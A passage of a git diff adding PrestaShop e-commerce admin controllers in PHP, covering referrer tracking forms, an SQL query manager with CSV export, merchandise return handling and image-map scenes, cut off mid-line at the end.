$this->l('Percent fee:'), + 'name' => 'percent_fee', + 'size' => 8, + 'desc' => $this->l('Percent of the sales.') + ) + ) + )); + + if (Shop::isFeatureActive()) + { + $this->fields_form[1]['form']['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form[2] = array('form' => array( + 'legend' => array( + 'title' => $this->l('Technical information -- Simple mode.'), + 'image' => '../img/admin/affiliation.png' + ), + 'help' => true, + 'input' => array( + array( + 'type' => 'textarea', + 'label' => $this->l('Include:'), + 'name' => 'http_referer_like', + 'cols' => 40, + 'rows' => 1, + 'h3' => $this->l('HTTP referrer') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Exclude:'), + 'name' => 'http_referer_like_not', + 'cols' => 40, + 'rows' => 1 + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Include:'), + 'name' => 'request_uri_like', + 'cols' => 40, + 'rows' => 1, + 'h3' => $this->l('Request URI') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Exclude:'), + 'name' => 'request_uri_like_not', + 'cols' => 40, + 'rows' => 1 + ) + ), + 'desc' => $this->l('If you know how to use MySQL regular expressions, you can use the').' + <a style="cursor: pointer; font-weight: bold;" onclick="$(\'#tracking_expert\').slideToggle();">'.$this->l('expert mode').'.</a>', + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + )); + + $this->fields_form[3] = array('form' => array( + 'legend' => array( + 'title' => $this->l('Technical information -- Expert mode'), + 'image' => '../img/admin/affiliation.png' + ), + 'input' => array( + array( + 'type' => 'textarea', + 'label' => $this->l('Include:'), + 'name' => 'http_referer_regexp', + 'cols' => 40, + 'rows' => 1, + 'h3' => $this->l('HTTP referrer') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Exclude:'), + 'name' => 'http_referer_regexp_not', + 'cols' => 40, + 'rows' => 1 + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Include:'), + 'name' => 'request_uri_regexp', + 'cols' => 40, + 'rows' => 1, + 'h3' => $this->l('Request URI') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Exclude:'), + 'name' => 'request_uri_regexp_not', + 'cols' => 40, + 'rows' => 1 + ) + ) + )); + + $this->multiple_fieldsets = true; + + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_value = array( + 'click_fee' => number_format((float)($this->getFieldValue($obj, 'click_fee')), 2), + 'base_fee' => number_format((float)($this->getFieldValue($obj, 'base_fee')), 2), + 'percent_fee' => number_format((float)($this->getFieldValue($obj, 'percent_fee')), 2), + 'http_referer_like' => str_replace('\\', '\\\\', htmlentities($this->getFieldValue($obj, 'http_referer_like'), ENT_COMPAT, 'UTF-8')), + 'http_referer_like_not' => str_replace('\\', '\\\\', htmlentities($this->getFieldValue($obj, 'http_referer_like_not'), ENT_COMPAT, 'UTF-8')), + 'request_uri_like' => str_replace('\\', '\\\\', htmlentities($this->getFieldValue($obj, 'request_uri_like'), ENT_COMPAT, 'UTF-8')), + 'request_uri_like_not' => str_replace('\\', '\\\\', htmlentities($this->getFieldValue($obj, 'request_uri_like_not'), ENT_COMPAT, 'UTF-8')) + ); + + $this->tpl_form_vars = array('uri' => $uri); + + return parent::renderForm(); + } + + public function displayCalendar($action = null, $table = null, $identifier = null, $id = null) + { + return AdminReferrersController::displayCalendarForm(array( + 'Calendar' => $this->l('Calendar'), + 'Day' => $this->l('Today'), + 'Month' => $this->l('Month'), + 'Year' => $this->l('Year') + ), $this->token, $action, $table, $identifier, $id); + } + + public static function displayCalendarForm($translations, $token, $action = null, $table = null, $identifier = null, $id = null) + { + $context = Context::getContext(); + $tpl = $context->controller->createTemplate('calendar.tpl'); + + $context->controller->addJqueryUI('ui.datepicker'); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $token, + 'action' => $action, + 'table' => $table, + 'identifier' => $identifier, + 'id' => $id, + 'translations' => $translations, + 'datepickerFrom' => Tools::getValue('datepickerFrom', $context->employee->stats_date_from), + 'datepickerTo' => Tools::getValue('datepickerTo', $context->employee->stats_date_to) + )); + + return $tpl->fetch(); + } + + public function displaySettings() + { + if (!Tools::isSubmit('viewreferrer')) + { + $tpl = $this->createTemplate('form_settings.tpl'); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $this->token, + 'tracking_dt' => (int)Tools::getValue('tracking_dt', Configuration::get('TRACKING_DIRECT_TRAFFIC')) + )); + + return $tpl->fetch(); + } + } + + protected function enableCalendar() + { + return (!Tools::isSubmit('add'.$this->table) && !Tools::isSubmit('submitAdd'.$this->table) && !Tools::isSubmit('update'.$this->table)); + } + + public function postProcess() + { + if ($this->enableCalendar()) + { + $calendar_tab = new AdminStatsController(); + $calendar_tab->postProcess(); + } + + if (Tools::isSubmit('submitSettings')) + if ($this->tabAccess['edit'] === '1') + if (Configuration::updateValue('TRACKING_DIRECT_TRAFFIC', (int)Tools::getValue('tracking_dt'))) + Tools::redirectAdmin(self::$currentIndex.'&conf=4&token='.Tools::getValue('token')); + + if (ModuleGraph::getDateBetween() != Configuration::get('PS_REFERRERS_CACHE_LIKE') || Tools::isSubmit('submitRefreshCache')) + Referrer::refreshCache(); + if (Tools::isSubmit('submitRefreshIndex')) + Referrer::refreshIndex(); + + return parent::postProcess(); + } + + public function renderView() + { + $referrer = new Referrer((int)Tools::getValue('id_referrer')); + + $display_tab = array( + 'uniqs' => $this->l('Unique visitors'), + 'visitors' => $this->l('Visitors'), + 'visits' => $this->l('Visits'), + 'pages' => $this->l('Pages viewed'), + 'registrations' => $this->l('Registrations'), + 'orders' => $this->l('Orders'), + 'sales' => $this->l('Sales'), + 'reg_rate' => $this->l('Registration rate'), + 'order_rate' => $this->l('Order rate'), + 'click_fee' => $this->l('Click fee'), + 'base_fee' => $this->l('Base fee'), + 'percent_fee' => $this->l('Percent fee')); + + $this->tpl_view_vars = array( + 'enable_calendar' => $this->enableCalendar(), + 'calendar_form' => $this->displayCalendar($this->action, $this->table, $this->identifier, (int)Tools::getValue($this->identifier)), + 'referrer' => new Referrer((int)Tools::getValue('id_referrer')), + 'display_tab' => $display_tab, + 'id_employee' => (int)$this->context->employee->id, + 'id_lang' => (int)$this->context->language->id + ); + + return parent::renderView(); + } +} + + diff --git a/controllers/admin/AdminRequestSqlController.php b/controllers/admin/AdminRequestSqlController.php new file mode 100755 index 0000000..0ddd29b --- /dev/null +++ b/controllers/admin/AdminRequestSqlController.php @@ -0,0 +1,462 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminRequestSqlControllerCore extends AdminController +{ + /** + * @var array : List of encoding type for a file + */ + public static $encoding_file = array( + array('value' => 1, 'name' => 'utf-8'), + array('value' => 2, 'name' => 'iso-8859-1') + ); + + public function __construct() + { + $this->table = 'request_sql'; + $this->className = 'RequestSql'; + $this->lang = false; + $this->export = true; + + $this->context = Context::getContext(); + + $this->fields_list = array( + 'id_request_sql' => array('title' => $this->l('ID'), 'width' => 25), + 'name' => array('title' => $this->l('Name'), 'width' => 300), + 'sql' => array('title' => $this->l('Request'), 'width' => 500) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Settings'), + 'fields' => array( + 'PS_ENCODING_FILE_MANAGER_SQL' => array( + 'title' => $this->l('Select your encoding file by default'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'value', + 'list' => self::$encoding_file, + 'visibility' => Shop::CONTEXT_ALL + ) + ), + 'submit' => array() + ) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'),'confirm' => $this->l('Delete selected items?'))); + + parent::__construct(); + } + + public function renderOptions() + { + // Set toolbar options + $this->display = 'options'; + $this->show_toolbar = true; + $this->toolbar_scroll = true; + $this->initToolbar(); + + return parent::renderOptions(); + } + + public function initToolbar() + { + if ($this->display == 'view' && $id_request = Tools::getValue('id_request_sql')) + $this->toolbar_btn['edit'] = array( + 'href' => self::$currentIndex.'&updaterequest_sql&token='.$this->token.'&id_request_sql='.(int)$id_request, + 'desc' => $this->l('Edit this request') + ); + + parent::initToolbar(); + + if ($this->display == 'options') + unset($this->toolbar_btn['new']); + else + unset($this->toolbar_btn['save']); + } + + public function renderList() + { + // Set toolbar options + $this->display = null; + $this->initToolbar(); + + $this->displayWarning($this->l('When saving the query, only the request type "SELECT" is allowed.')); + $this->displayInformation(' + <strong>'.$this->l('How do I create a new sql query?').'</strong><br /> + <ul> + <li>'.$this->l('Click "Add New".').'</li> + <li>'.$this->l('Fill in the fields and click "Save".').'</li> + <li>'.$this->l('You can then view the query results by clicking on the tab:').' <img src="../img/admin/details.gif" /></li> + <li>'.$this->l('You can also export the query results as CSV file by clicking on the tab:').' <img src="../img/admin/export.gif" /></li> + </ul>'); + + $this->addRowAction('export'); + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Request') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 103, + 'required' => true + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Request:'), + 'name' => 'sql', + 'cols' => 100, + 'rows' => 10, + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $request = new RequestSql(); + $this->tpl_form_vars = array('tables' => $request->getTables()); + + return parent::renderForm(); + } + + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + return parent::postProcess(); + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + die(Tools::displayError('This functionality has been disabled.')); + /* PrestaShop demo mode*/ + if ($table = Tools::GetValue('table')) + { + $request_sql = new RequestSql(); + $attributes = $request_sql->getAttributesByTable($table); + foreach ($attributes as $key => $attribute) + { + unset($attributes[$key]['Null']); + unset($attributes[$key]['Key']); + unset($attributes[$key]['Default']); + unset($attributes[$key]['Extra']); + } + die(Tools::jsonEncode($attributes)); + } + } + + public function renderView() + { + if (!($obj = $this->loadObject(true))) + return; + + $view = array(); + + if ($results = Db::getInstance()->executeS($obj->sql)) + { + foreach (array_keys($results[0]) as $key) + $tab_key[] = $key; + + $view['name'] = $obj->name; + $view['key'] = $tab_key; + $view['results'] = $results; + + $request_sql = new RequestSql(); + $view['attributes'] = $request_sql->attributes; + } + else + $view['error'] = true; + + $this->tpl_view_vars = array( + 'view' => $view + ); + return parent::renderView(); + } + + public function _childValidation() + { + if (Tools::getValue('submitAdd'.$this->table) && $sql = Tools::getValue('sql')) + { + $request_sql = new RequestSql(); + $parser = $request_sql->parsingSql($sql); + /*$validate = $request_sql->validateParser($parser, false, $sql); + + if (!$validate || !empty($request_sql->error_sql)) + $this->displayError($request_sql->error_sql);*/ + } + } + + /** + * Display export action link + */ + public function displayExportLink($token, $id) + { + $tpl = $this->createTemplate('list_action_export.tpl'); + + $tpl->assign(array( + 'href' => self::$currentIndex.'&token='.$this->token.'&'.$this->identifier.'='.$id.'&export'.$this->table.'=1', + 'action' => $this->l('Export') + )); + + return $tpl->fetch(); + } + + public function initProcess() + { + parent::initProcess(); + if (Tools::getValue('export'.$this->table)) + { + $this->display = 'export'; + $this->action = 'export'; + } + } + + public function initContent() + { + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'edit' || $this->display == 'add') + { + if (!$this->loadObject(true)) + return; + + $this->content .= $this->renderForm(); + } + else if ($this->display == 'view') + { + // Some controllers use the view action without an object + if ($this->className) + $this->loadObject(true); + $this->content .= $this->renderView(); + } + else if ($this->display == 'export') + $this->generateExport(); + else if (!$this->ajax) + { + $this->content .= $this->renderList(); + $this->content .= $this->renderOptions(); + } + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + /** + * Genrating a export file + */ + public function generateExport() + { + $id = Tools::getValue($this->identifier); + if (!Validate::isFileName($id)) + die(Tools::displayError()); + $file = 'request_sql_'.$id.'.csv'; + if ($csv = fopen(_PS_ADMIN_DIR_.'/export/'.$file, 'w')) + { + $sql = RequestSql::getRequestSqlById($id); + + if ($sql) + { + $results = Db::getInstance()->executeS($sql[0]['sql']); + foreach (array_keys($results[0]) as $key) + { + $tab_key[] = $key; + fputs($csv, $key.';'); + } + foreach ($results as $result) + { + fputs($csv, "\n"); + foreach ($tab_key as $name) + fputs($csv, '"'.strip_tags($result[$name]).'";'); + } + if (file_exists(_PS_ADMIN_DIR_.'/export/'.$file)) + { + $filesize = filesize(_PS_ADMIN_DIR_.'/export/'.$file); + $upload_max_filesize = Tools::convertBytes(ini_get('upload_max_filesize')); + if ($filesize < $upload_max_filesize) + { + if (Configuration::get('PS_ENCODING_FILE_MANAGER_SQL')) + $charset = Configuration::get('PS_ENCODING_FILE_MANAGER_SQL'); + else + $charset = self::$encoding_file[0]['name']; + + header('Content-Type: text/csv; charset='.$charset); + header('Cache-Control: no-store, no-cache'); + header('Content-Disposition: attachment; filename="'.$file.'"'); + header('Content-Length: '.$filesize); + readfile(_PS_ADMIN_DIR_.'/export/'.$file); + die(); + } + else + $this->errors[] = Tools::DisplayError('The file is too large and can not be downloaded. Please use the clause "LIMIT" in this query.'); + } + } + } + } + + /** + * Display all errors + * + * @param $e : array of errors + */ + public function displayError($e) + { + foreach (array_keys($e) as $key) + { + switch ($key) + { + case 'checkedFrom': + if (isset($e[$key]['table'])) + $this->errors[] = sprintf(Tools::displayError('The Table "%s" doesn\'t exist.'), $e[$key]['table']); + else if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedSelect': + if (isset($e[$key]['table'])) + $this->errors[] = sprintf(Tools::displayError('The Table "%s" doesn\'t exist.'), $e[$key]['table']); + else if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else if (isset($e[$key]['*'])) + $this->errors[] = Tools::displayError('The operator "*" can be used in a nested query.'); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedWhere': + if (isset($e[$key]['operator'])) + $this->errors[] = sprintf(Tools::displayError('The operator "%s" is incorrect.'), $e[$key]['operator']); + else if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedHaving': + if (isset($e[$key]['operator'])) + $this->errors[] = sprintf(Tools::displayError('The operator "%s" is incorrect.'), $e[$key]['operator']); + else if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedOrder': + if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedGroupBy': + if (isset($e[$key]['attribut'])) + $this->errors[] = sprintf( + Tools::displayError('The attribute "%1$s" does not exist in the table: %2$s.'), + $e[$key]['attribut'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('Error'); + break; + + case 'checkedLimit': + $this->errors[] = Tools::displayError('The LIMIT clause must contain numeric arguments.'); + break; + + case 'returnNameTable': + if (isset($e[$key]['reference'])) + $this->errors[] = sprintf( + Tools::displayError('The reference "%1$s" does not exist in the table: %2$s.'), + $e[$key]['reference'][0], + $e[$key]['attribut'][1] + ); + else + $this->errors[] = Tools::displayError('When multiple tables are used, each attribute must refer back to a table.'); + break; + + case 'testedRequired': + $this->errors[] = sprintf(Tools::displayError('%s doesn\'t exist.'), $e[$key]); + break; + + case 'testedUnauthorized': + $this->errors[] = sprintf(Tools::displayError('Is an unauthorized keyword.'), $e[$key]); + break; + } + } + } +} + + diff --git a/controllers/admin/AdminReturnController.php b/controllers/admin/AdminReturnController.php new file mode 100755 index 0000000..fe51775 --- /dev/null +++ b/controllers/admin/AdminReturnController.php @@ -0,0 +1,237 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminReturnControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'order_return'; + $this->className = 'OrderReturn'; + $this->colorOnBackground = true; + $this->_select = 'orsl.`name`'; + $this->_join = 'LEFT JOIN '._DB_PREFIX_.'order_return_state_lang orsl ON (orsl.`id_order_return_state` = a.`state` AND orsl.`id_lang` = '.(int)$this->context->language->id.')'; + + $this->fields_list = array( + 'id_order_return' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'id_order' => array('title' => $this->l('Order ID'), 'width' => 100, 'align' => 'center'), + 'name' => array('title' => $this->l('Status'), 'width' => 'auto', 'align' => 'left'), + 'date_add' => array('title' => $this->l('Date issued'), 'width' => 150, 'type' => 'date', 'align' => 'right'), + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Merchandise return (RMA) options'), + 'fields' => array( + 'PS_ORDER_RETURN' => array('title' => $this->l('Enable returns:'), 'desc' => $this->l('Would you like to allow merchandise returns in your shop?'), 'cast' => 'intval', 'type' => 'bool'), + 'PS_ORDER_RETURN_NB_DAYS' => array('title' => $this->l('Time limit of validity:'), 'desc' => $this->l('How many days after the delivery date does the customer have to return a product?'), 'cast' => 'intval', 'type' => 'text', 'size' => '2'), + ), + 'submit' => array() + ), + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Return Merchandise Authorization (RMA)'), + 'image' => '../img/admin/return.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'id_order' + ), + array( + 'type' => 'hidden', + 'name' => 'id_customer' + ), + array( + 'type' => 'text_customer', + 'label' => $this->l('Customer:'), + 'name' => '', + 'size' => '', + 'required' => false, + ), + array( + 'type' => 'text_order', + 'label' => $this->l('Order:'), + 'name' => '', + 'size' => '', + 'required' => false, + ), + array( + 'type' => 'free', + 'label' => $this->l('Customer explanation:'), + 'name' => 'question', + 'size' => '', + 'required' => false, + ), + array( + 'type' => 'select', + 'label' => $this->l('Status'), + 'name' => 'state', + 'required' => false, + 'options' => array( + 'query' => OrderReturnState::getOrderReturnStates($this->context->language->id), + 'id' => 'id_order_return_state', + 'name' => 'name' + ), + 'desc' => $this->l('Merchandise return (RMA) status') + ), + array( + 'type' => 'list_products', + 'label' => $this->l('Products'), + 'name' => '', + 'size' => '', + 'required' => false, + 'desc' => $this->l('List of products in return package') + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + $order = new Order($this->object->id_order); + $quantityDisplayed = array(); + // Customized products */ + if ($returnedCustomizations = OrderReturn::getReturnedCustomizedProducts((int)($this->object->id_order))) + foreach ($returnedCustomizations as $returnedCustomization) + $quantityDisplayed[(int)($returnedCustomization['id_order_detail'])] = isset($quantityDisplayed[(int)($returnedCustomization['id_order_detail'])]) ? $quantityDisplayed[(int)($returnedCustomization['id_order_detail'])] + (int)($returnedCustomization['product_quantity']) : (int)($returnedCustomization['product_quantity']); + + // Classic products + $products = OrderReturn::getOrdersReturnProducts($this->object->id, $order); + + // Prepare customer explanation for display + $this->object->question = '<span class="normal-text">'.nl2br($this->object->question).'</span>'; + + $this->tpl_form_vars = array( + 'customer' => new Customer($this->object->id_customer), + 'url_customer' => 'index.php?tab=AdminCustomers&id_customer='.(int)$this->object->id_customer.'&viewcustomer&token='.Tools::getAdminToken('AdminCustomers'.(int)(Tab::getIdFromClassName('AdminCustomers')).(int)$this->context->employee->id), + 'text_order' => sprintf($this->l('Order #%1$d from %2$s'), $order->id, Tools::displayDate($order->date_upd, $order->id_lang)), + 'url_order' => 'index.php?tab=AdminOrders&id_order='.(int)$order->id.'&vieworder&token='.Tools::getAdminToken('AdminOrders'.(int)Tab::getIdFromClassName('AdminOrders').(int)$this->context->employee->id), + 'picture_folder' => _THEME_PROD_PIC_DIR_, + 'type_file' => Product::CUSTOMIZE_FILE, + 'type_textfield' => Product::CUSTOMIZE_TEXTFIELD, + 'returnedCustomizations' => $returnedCustomizations, + 'products' => $products, + 'quantityDisplayed' => $quantityDisplayed, + 'id_order_return' => $this->object->id, + ); + return parent::renderForm(); + } + + public function initToolbar() + { + // If display list, we don't want the "add" button + if (!$this->display || $this->display == 'list') + return; + else if ($this->display != 'options') + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + 'force_desc' => true, + ); + + parent::initToolbar(); + } + + public function postProcess() + { + $this->context = Context::getContext(); + if (Tools::isSubmit('deleteorder_return_detail')) + { + if ($this->tabAccess['delete'] === '1') + { + if (($id_order_detail = (int)(Tools::getValue('id_order_detail'))) && Validate::isUnsignedId($id_order_detail)) + { + if (($id_order_return = (int)(Tools::getValue('id_order_return'))) && Validate::isUnsignedId($id_order_return)) + { + $orderReturn = new OrderReturn($id_order_return); + if (!Validate::isLoadedObject($orderReturn)) + die(Tools::displayError()); + if ((int)($orderReturn->countProduct()) > 1) + { + if (OrderReturn::deleteOrderReturnDetail($id_order_return, $id_order_detail, (int)(Tools::getValue('id_customization', 0)))) + Tools::redirectAdmin(self::$currentIndex.'&conf=4token='.$this->token); + else + $this->errors[] = Tools::displayError('An error occurred while deleting the details of your order return.'); + } + else + $this->errors[] = Tools::displayError('You need at least one product.'); + } + else + $this->errors[] = Tools::displayError('The order return is invalid.'); + } + else + $this->errors[] = Tools::displayError('The order return content is invalid.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('submitAddorder_return') || Tools::isSubmit('submitAddorder_returnAndStay')) + { + if ($this->tabAccess['edit'] === '1') + { + if (($id_order_return = (int)(Tools::getValue('id_order_return'))) && Validate::isUnsignedId($id_order_return)) + { + $orderReturn = new OrderReturn($id_order_return); + $order = new Order($orderReturn->id_order); + $customer = new Customer($orderReturn->id_customer); + $orderReturn->state = (int)(Tools::getValue('state')); + if ($orderReturn->save()) + { + $orderReturnState = new OrderReturnState($orderReturn->state); + $vars = array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{id_order_return}' => $id_order_return, + '{state_order_return}' => (isset($orderReturnState->name[(int)$order->id_lang]) ? $orderReturnState->name[(int)$order->id_lang] : $orderReturnState->name[(int)Configuration::get('PS_LANG_DEFAULT')])); + Mail::Send((int)$order->id_lang, 'order_return_state', Mail::l('Your order return state has changed', $order->id_lang), + $vars, $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, + null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + + if (Tools::isSubmit('submitAddorder_returnAndStay')) + Tools::redirectAdmin(self::$currentIndex.'&conf=4&token='.$this->token.'&updateorder_return&id_order_return='.(int)$id_order_return); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=4&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('No order return ID has been specified.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + parent::postProcess(); + } +} diff --git a/controllers/admin/AdminScenesController.php b/controllers/admin/AdminScenesController.php new file mode 100755 index 0000000..7f9ef8b --- /dev/null +++ b/controllers/admin/AdminScenesController.php @@ -0,0 +1,320 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminScenesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'scene'; + $this->className = 'Scene'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->identifier = 'id_scene'; + $this->fieldImageSettings = array( + array('name' => 'image', 'dir' => 'scenes'), + array('name' => 'thumb', 'dir' => 'scenes/thumbs') + ); + + $this->fields_list = array( + 'id_scene' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Image Maps'), + 'filter_key' => 'b!name' + ), + 'active' => array( + 'title' => $this->l('Activated'), + 'width' => 70, + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false + ) + ); + + parent::__construct(); + } + + protected function afterImageUpload() + { + /* Generate image with differents size */ + if (!($obj = $this->loadObject(true))) + return; + + if ($obj->id && (isset($_FILES['image']) || isset($_FILES['thumb']))) + { + $base_img_path = _PS_SCENE_IMG_DIR_.$obj->id.'.jpg'; + $images_types = ImageType::getImagesTypes('scenes'); + + foreach ($images_types as $k => $image_type) + { + if ($image_type['name'] == 'scene_default' && isset($_FILES['image'])) + ImageManager::resize( + $base_img_path, + _PS_SCENE_IMG_DIR_.$obj->id.'-'.stripslashes($image_type['name']).'.jpg', + (int)$image_type['width'], + (int)$image_type['height'] + ); + else if ($image_type['name'] == 'm_scene_default') + { + if (isset($_FILES['thumb']) && !$_FILES['thumb']['error']) + $base_thumb_path = _PS_SCENE_THUMB_IMG_DIR_.$obj->id.'.jpg'; + else + $base_thumb_path = $base_img_path; + ImageManager::resize( + $base_thumb_path, + _PS_SCENE_THUMB_IMG_DIR_.$obj->id.'-'.stripslashes($image_type['name']).'.jpg', + (int)$image_type['width'], + (int)$image_type['height'] + ); + } + } + } + + return true; + } + + public function renderForm() + { + $this->initFieldsForm(); + + if (!($obj = $this->loadObject(true))) + return; + + $this->tpl_form_vars['products'] = $obj->getProducts(true, $this->context->language->id, false, $this->context); + + return parent::renderForm(); + } + + public function initToolbar() + { + parent::initToolbar(); + + if (in_array($this->display, array('add', 'edit'))) + $this->toolbar_btn = array_merge(array('save-and-stay' => array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + )), $this->toolbar_btn); + } + + public function initFieldsForm() + { + $obj = $this->loadObject(true); + $scene_image_types = ImageType::getImagesTypes('scenes'); + $large_scene_image_type = null; + $thumb_scene_image_type = null; + foreach ($scene_image_types as $scene_image_type) + { + if ($scene_image_type['name'] == 'scene_default') + $large_scene_image_type = $scene_image_type; + if ($scene_image_type['name'] == 'm_scene_default') + $thumb_scene_image_type = $scene_image_type; + } + $fields_form = array( + 'legend' => array( + 'title' => $this->l('Image Maps'), + 'image' => '../img/admin/photo.gif', + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ), + 'input' => array( + array( + 'type' => 'description', + 'name' => 'description', + 'label' => $this->l('How to map products in the image:'), + 'text' => $this->l('When a customer hovers over the image, a pop-up appears displaying a brief description of the product.'). + $this->l('The customer can then click to open the full product page.'). + $this->l('To achieve this, please define the \'mapping zone\' that, when hovered over, will display the pop-up.'). + $this->l('Left click with your mouse to draw the four-sided mapping zone, then release.'). + $this->l('Then begin typing the name of the associated product, and a list of products will appear.'). + $this->l('Click the appropriate product and then click OK. Repeat these steps for each mapping zone you wish to create.'). + $this->l('When you have finished mapping zones, click "Save Image Map."') + ), + array( + 'type' => 'text', + 'label' => $this->l('Image map name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 48, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 